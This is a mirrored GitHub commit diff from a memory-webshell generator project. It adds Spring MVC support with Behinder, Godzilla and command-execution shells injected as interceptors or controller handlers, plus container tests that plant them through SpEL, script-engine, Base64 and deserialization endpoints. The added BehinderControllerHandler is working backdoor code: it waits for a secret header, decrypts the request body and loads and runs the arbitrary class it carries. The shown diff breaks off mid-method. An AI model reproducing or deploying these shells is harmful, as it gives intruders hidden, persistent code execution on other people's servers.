mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support springmvc shell generate
This commit is contained in:
@@ -31,7 +31,7 @@ jobs:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere" ]
|
||||
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc" ]
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.middleware }}
|
||||
needs: [ unit-test ]
|
||||
|
||||
@@ -63,7 +63,7 @@ public class BehinderManager {
|
||||
}
|
||||
String resText = new String(decrypt(resData));
|
||||
if (StringUtils.isBlank(resText)) {
|
||||
throw new RuntimeException(new String((byte[]) resultObj.get("data")));
|
||||
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
|
||||
}
|
||||
JSONObject jsonObject = JSON.parseObject(resText);
|
||||
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
|
||||
|
||||
@@ -32,7 +32,10 @@ public class Test {
|
||||
result.put("status", "success");
|
||||
} finally {
|
||||
try {
|
||||
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
|
||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
Object so = getOutputStreamMethod.invoke(this.Response);
|
||||
Method write = so.getClass().getMethod("write", byte[].class);
|
||||
String jsonStr = this.buildJson(result, true);
|
||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||
|
||||
@@ -11,9 +11,9 @@ class BehinderManagerTest {
|
||||
@Test
|
||||
void test() {
|
||||
BehinderManager behinderManager = BehinderManager.builder()
|
||||
.entrypoint("http://localhost:8080/app/test")
|
||||
.pass("test123")
|
||||
.header("User-Agent", "testValve").build();
|
||||
.entrypoint("http://localhost:8080/test")
|
||||
.pass("pass")
|
||||
.header("User-Agent", "BehinderinterceptorBase64").build();
|
||||
behinderManager.test();
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.condition.EnabledOnJre;
|
||||
|
||||
import java.lang.reflect.InaccessibleObjectException;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.condition.JRE.JAVA_17;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
class ByPassJavaModuleInterceptorTest {
|
||||
@Test
|
||||
@SneakyThrows
|
||||
@EnabledOnJre(JAVA_17)
|
||||
void testByPassModule() {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
assertThrows(InaccessibleObjectException.class, () -> {
|
||||
defineClass.setAccessible(true);
|
||||
});
|
||||
ByPassJavaModuleInterceptor.enter(this.getClass());
|
||||
assertDoesNotThrow(() -> {
|
||||
defineClass.setAccessible(true);
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.method.MethodDescription;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.mockito.Mockito.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/4
|
||||
*/
|
||||
@Slf4j
|
||||
class LogRemoveVisitorWrapperTest {
|
||||
|
||||
@Test
|
||||
void testExtend() {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().subclass(Object.class);
|
||||
DynamicType.Builder<?> extendedBuilder = LogRemoveMethodVisitor.extend(builder);
|
||||
assertNotNull(extendedBuilder);
|
||||
assertNotEquals(builder, extendedBuilder);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testWrap() {
|
||||
LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE;
|
||||
TypeDescription instrumentedType = mock(TypeDescription.class);
|
||||
MethodDescription instrumentedMethod = mock(MethodDescription.class);
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
Implementation.Context implementationContext = mock(Implementation.Context.class);
|
||||
TypePool typePool = mock(TypePool.class);
|
||||
|
||||
MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor,
|
||||
implementationContext, typePool, 0, 0);
|
||||
|
||||
assertNotNull(wrappedVisitor);
|
||||
assertNotEquals(methodVisitor, wrappedVisitor);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testVisitMethodInsn_RemoveSystemOutPrintln() {
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
||||
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
|
||||
|
||||
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testVisitMethodInsn_RemovePrintStackTrace() {
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
||||
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
||||
|
||||
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testVisitMethodInsn_KeepOtherMethodCalls() {
|
||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
||||
MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0);
|
||||
wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
||||
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIntegration() throws Exception {
|
||||
// Use ByteBuddy to create a new class with log statements removed
|
||||
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
|
||||
.redefine(TestClass.class)
|
||||
.name("com.reajason.javaweb.buddy.TestClass1")
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
||||
.make();
|
||||
byte[] bytes = make.getBytes();
|
||||
// Files.write(Paths.get("xx.class"), bytes);
|
||||
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
||||
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
||||
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
||||
}
|
||||
|
||||
public static class TestClass {
|
||||
static Logger logger = Logger.getLogger(TestClass.class.getName());
|
||||
|
||||
public TestClass() {
|
||||
}
|
||||
|
||||
public static void methodWithLogs() {
|
||||
System.out.println("This should be removed");
|
||||
String test = "test";
|
||||
int length = test.length();
|
||||
logger.info(test);
|
||||
try {
|
||||
System.out.println("hello");
|
||||
throw new RuntimeException("hello");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
logger.warning("wa");
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
methodWithLogs();
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,61 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class SpringMVCShell extends AbstractShell {
|
||||
public static final String INTERCEPTOR = "Interceptor";
|
||||
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
||||
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla, ShellTool.Behinder);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -33,7 +33,7 @@ public enum Server {
|
||||
/**
|
||||
* SpringMVC 框架
|
||||
*/
|
||||
SpringMVC(null),
|
||||
SpringMVC(new SpringMVCShell()),
|
||||
|
||||
/**
|
||||
* Spring Webflux 框架
|
||||
|
||||
@@ -52,7 +52,13 @@ idea {
|
||||
}
|
||||
|
||||
test {
|
||||
dependsOn ":vul:vul-webapp:war", ":vul:vul-webapp-expression:war", ":vul:vul-webapp-jakarta:war"
|
||||
dependsOn {
|
||||
":vul:vul-webapp:war"
|
||||
":vul:vul-webapp-expression:war"
|
||||
":vul:vul-webapp-jakarta:war"
|
||||
":vul:vul-springboot2:bootJar"
|
||||
":vul:vul-springboot3:bootJar"
|
||||
}
|
||||
useJUnitPlatform()
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import lombok.extern.slf4j.Slf4j;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
/**
|
||||
@@ -15,7 +16,8 @@ public class ContainerTool {
|
||||
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
|
||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
||||
|
||||
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
|
||||
+5
-2
@@ -1,6 +1,7 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
@@ -15,7 +16,7 @@ public class ShellAssertionTool {
|
||||
String shellUrl = url + "/test";
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (shellType.endsWith(Constants.SERVLET)) {
|
||||
if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)) {
|
||||
String urlPattern = "/" + shellTool + shellType + packer.name();
|
||||
shellUrl = url + urlPattern;
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
@@ -56,7 +57,7 @@ public class ShellAssertionTool {
|
||||
String behinderPass = "pass";
|
||||
String behinderHeaderValue = "Behinder" + shellType + packer.name();
|
||||
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
|
||||
log.info("generated {} godzilla with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
|
||||
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
|
||||
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
|
||||
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
|
||||
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
|
||||
@@ -64,6 +65,7 @@ public class ShellAssertionTool {
|
||||
}
|
||||
|
||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
||||
System.out.println(content);
|
||||
switch (packer) {
|
||||
case JSP -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
@@ -79,6 +81,7 @@ public class ShellAssertionTool {
|
||||
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
||||
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,7 +50,7 @@ public class VulTool {
|
||||
.url(uploadUrl).post(requestBody)
|
||||
.build();
|
||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||
// log.info(response.body().string());
|
||||
System.out.println(response.body().string());
|
||||
Assertions.assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
package com.reajason.javaweb.integration.springmvc;
|
||||
|
||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot2ContainerTest {
|
||||
public static final String imageName = "springboot2";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(springBoot2Dockerfile))
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
package com.reajason.javaweb.integration.springmvc;
|
||||
|
||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot3ContainerTest {
|
||||
public static final String imageName = "springboot3";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(springBoot3Dockerfile))
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+1
-5
@@ -44,11 +44,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
|
||||
obj.put("request", servletRequest);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
try {
|
||||
session.putValue("u", this.pass);
|
||||
} catch (NoSuchMethodError e) {
|
||||
session.setAttribute("u", this.pass);
|
||||
}
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
|
||||
|
||||
+1
-5
@@ -32,11 +32,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
try {
|
||||
session.putValue("u", this.pass);
|
||||
} catch (NoSuchMethodError e) {
|
||||
session.setAttribute("u", this.pass);
|
||||
}
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
|
||||
|
||||
+1
-5
@@ -84,11 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve {
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
try {
|
||||
session.putValue("u", this.pass);
|
||||
} catch (NoSuchMethodError e) {
|
||||
session.setAttribute("u", this.pass);
|
||||
}
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.behinder;
|
||||
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class BehinderControllerHandler extends ClassLoader implements Controller {
|
||||
public String pass = "{{pass}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderControllerHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public BehinderControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
